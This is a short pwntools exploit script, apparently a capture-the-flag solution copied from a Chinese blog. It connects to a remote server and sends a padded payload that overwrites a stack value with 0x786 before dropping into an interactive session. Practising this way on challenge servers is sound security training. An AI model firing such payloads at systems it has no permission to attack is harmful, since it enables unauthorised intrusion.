from pwn import * io = remote("111.198.29.45",40803) io.recvline() io.sendline('1234') io.recvline() payload = "A"*8 payload += p64(0x786) io.sendline(payload) io.interactive()
来源:博客园
作者:一朵菊花脸上遮
链接:https://www.cnblogs.com/chrysanthemum/p/11764343.html